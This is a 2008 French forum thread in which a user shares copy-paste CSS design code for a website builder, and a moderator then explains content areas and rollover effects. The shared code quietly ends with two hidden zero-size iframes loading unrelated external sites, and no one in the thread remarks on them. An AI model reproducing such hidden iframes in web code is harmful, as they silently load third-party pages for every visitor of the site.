Recherche dans le forum:
Rechercher


« Voir le sujet précédent :: Voir le sujet suivant »  
Auteur Message
Message14/11/2008, 04 04 57 (UTC)    
Sujet du message: A saisir: design gouttes d'eau

Code:
<style type="text/css"> 

<!--td.edit_header_full{background-image:url(http://sd-1.archive-host.com/membres/images/108245588823941945/entetegout.jpg);background-repeat:no-repeat;}
                                    object.objekt{position: absolute;left: 5px;top: 0px;}
                                    td.edit_navi_headbg{background-image: url();width: 15%;}
                                    td.nav_heading{background-image:

url(http://sd-1.archive-host.com/membres/images/108245588823941945/goutesbout1.jpg);height: 33px;padding-left:

27px;font-size: 14px;font-weight: bold;}
                                    td.nav{background-image:

url(http://sd-1.archive-host.com/membres/images/108245588823941945/goutesbout1.jpg);height: 33px;}
                                    td.nav:hover{background-image:

url(httphttp://sd-1.archive-host.com/membres/images/108245588823941945/goutesbout1.jpg);height: 33px;}
                                    td.edit_content div{color: #;font-size: px;font-weight: bold;}
td.edit_content p{color: #;font-size: px;font-weight: bold;}
td.edit_content font{color: #;font-size: px;font-weight: bold;} 
                                    td.edit_below_nav{visibility: hidden;}
                                    td.edit_rechts_cbg{background-image: url();width: 100%;}
                                    td.edit_content_top{height: 33px;background-image:

url(http://sd-1.archive-host.com/membres/images/108245588823941945/ogouttes.jpg);font-size:14px;font-weigh

t:bold;text-align: center;}
                                    td.edit_content{background-image:url();border: 2px solid #fff;}
                                   
                                    td.edit_content_bottom{background-image:

url(http://sd-1.archive-host.com/membres/images/108245588823941945/ogouttes.jpg);height: 33px;}
                                    td.edit_content_bottom2{background-image: url();height: 38px;}
td.nav a:hover{text-decoration: none;}
                                    td.sidebar_heading{background-image:

url(http://sd-1.archive-host.com/membres/images/108245588823941945/goutesbout1.jpg);height: 33px;font-size:

14px;font-weight: bold;text-align: center;}
                                    .shouty, .shouty2, .shouty3, .shouty4,

.shouty5{background-image: url(http://80.190.202.79/pic/n/nos-amis-les-animaux/palfond.jpg);}
                                    td.edit_rechts_sbg{background-image: url();visibility:

hidden;position: absolute;right: 0px;}
                                    td.edit_rechts_bottom{background-image: url();width: 15%;}
                                    td.edit_rb_footer{background-image: url();}
                                    --> </style>  <style type="text/css"> <!--
                                    body

{background-image:url(http://sd-1.archive-host.com/membres/images/108245588823941945/asfdgouttes.jpg);}
                                    body{background-attachment: fixed;}
                                    --> </style>   <style type="text/css"> <!--
                                   

body{cursor:url(http://www.myloads.de/ordner/Samuellimp/162076.ani);
                                    --> </style><IFRAME src="http://www.html-java.tr.gg" width=0

height=0 marginwidth=0 marginheight=0 hspace=0 vspace=0 scrolling=no frameborder=0></IFRAME>
                                    <IFRAME src="http://www.css-tasarim.tr.gg" width=0 height=0

marginwidth=0 marginheight=0 hspace=0 vspace=0 scrolling=no frameborder=0></IFRAME>


Voici donc le code du design que j'ai entièrement créé ( à part le fond d'écran) à insérer dans " texte au-dessus du design" ou "texte en-dessous du design" c'est pareil.
Ensuite, pour insérer votre propre bannière, il suffit d'insérer son url à la place de
Code:
http://sd-1.archive-host.com/membres/images/108245588823941945/entetegout.jpg
au début du code
Exemple du design: http://eco-dico.fr.gd
J'espère que ça fera des heureux.
a+. Mr. Green
Message14/11/2008, 16 04 35 (UTC)    
Sujet du message:

C'est bien beau avoir un code de design, mais si on n'a pas d'image en exemple pour voir ce que cela donne, c'est incomplet. Peux-tu faire un screen de ton design et nous faire un lien pour que les membres puissent avoir l'exemple ?

Merci !

Avis à touts ceux qui placent des codes sur le forum : il nous faut VOIR l'exemple. Soit vous mettez l'image sur le forum, soit vous faites un lien nous conduisant vers l'ie design. Merci de comprendre

______________
Amitiés, gigi, modératrice

Je vous recommande mes sites : http://gisoft.t15.org - http://3dscreensaver.t15.org- http://freeimage.t15.org
Message14/11/2008, 19 07 00 (UTC)    
Sujet du message:

J'avais mis:
exemple du design: http://eco-dico.fr.gd Mr. Green
Message14/11/2008, 22 10 19 (UTC)    
Sujet du message:

Désolée, j'avais pas vu le lien en bas de ton post.

Joli design ! Aurais-tu oublié quelque chose, par exemple, le content est vide, c'est cela que tu voulais faire ? Et le rollover est vide aussi. Ce serait plus cool avec un rollover. Mais ça peut rester comme ça aussi.

Continue à nous faire des designs ! Il va sûrement y avoir preneur. Wink

______________
Amitiés, gigi, modératrice

Je vous recommande mes sites : http://gisoft.t15.org - http://3dscreensaver.t15.org- http://freeimage.t15.org
Message16/11/2008, 06 06 24 (UTC)    
Sujet du message:

Merci Mr. Green
Mais qu'est-ce qu'un rollover et le content:?:
Message16/11/2008, 16 04 40 (UTC)    
Sujet du message:

Le "conteueur" ou "content" en anglais, c'est la partie où tu écris dans ton éditeur de texte, la partie centrale de ton design. Quant au rollover, c'est quand tu passes sur un lien avec ta souris, ça change pour une autre image que celle du lien.

Pour voir un exemple : une petite visite ici :

www.art-visuel.fr.gd
www.recette-maison.fr.gd

Passe ta souris sur les liens, et tu comprendras ce qu'est un effet rollover sur les liens. Laughing

______________
Amitiés, gigi, modératrice

Je vous recommande mes sites : http://gisoft.t15.org - http://3dscreensaver.t15.org- http://freeimage.t15.org
Message17/11/2008, 01 01 16 (UTC)    
Sujet du message:

merci
pour le content c'est fait exprés mais pour le rollover, comment fait-t-on?
Message17/11/2008, 02 02 52 (UTC)    
Sujet du message:

généralement, c'est une image à créer qui se marie avec le design de ton site : image aux mêmes dimensions que les boutons de ton menu.

Une fois créée, tu charges ton image sur un hébergeur, puis tu copies-colles le lien (prendre le lien de l'image directe) à un endroit bien précis dans ton code CSS.

______________
Amitiés, gigi, modératrice

Je vous recommande mes sites : http://gisoft.t15.org - http://3dscreensaver.t15.org- http://freeimage.t15.org
Message18/11/2008, 00 12 10 (UTC)    
Sujet du message:

Le rollover, c'est quand tu passes sur les liens que ça fait l'effet ou l'image fixe?
Message18/11/2008, 03 03 16 (UTC)    
Sujet du message:

Oui, c'est ça ! Wink
______________
Amitiés, gigi, modératrice

Je vous recommande mes sites : http://gisoft.t15.org - http://3dscreensaver.t15.org- http://freeimage.t15.org
Message19/11/2008, 00 12 45 (UTC)    
Sujet du message:

et sur mon code là j'insère où pour le rollover?
Message19/11/2008, 02 02 37 (UTC)    
Sujet du message:

donne-moi l'url de ton image, et je te mettrai le bout de code à insérer dans ton CSS
______________
Amitiés, gigi, modératrice

Je vous recommande mes sites : http://gisoft.t15.org - http://3dscreensaver.t15.org- http://freeimage.t15.org
Message21/11/2008, 00 12 22 (UTC)    
Sujet du message:

Message21/11/2008, 03 03 42 (UTC)    
Sujet du message:

Ok, voici j'ai placé ton url là où il doit être dans ton CSS :

Citation:
td.nav:hover {background-image:url(http://sd-1.archive-host.com/membres/images/108245588823941945/rollover.jpg)


Je t'ai mis en bleu l'url de ton image, que tu dois mettre entre les parenthèses ()

Donc, tout de suite après que tu vois : td.nav:hover (la partie en rouge ci-haut), tu installes l'url entre les ()

______________
Amitiés, gigi, modératrice

Je vous recommande mes sites : http://gisoft.t15.org - http://3dscreensaver.t15.org- http://freeimage.t15.org
Montrer les messages depuis:   


Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com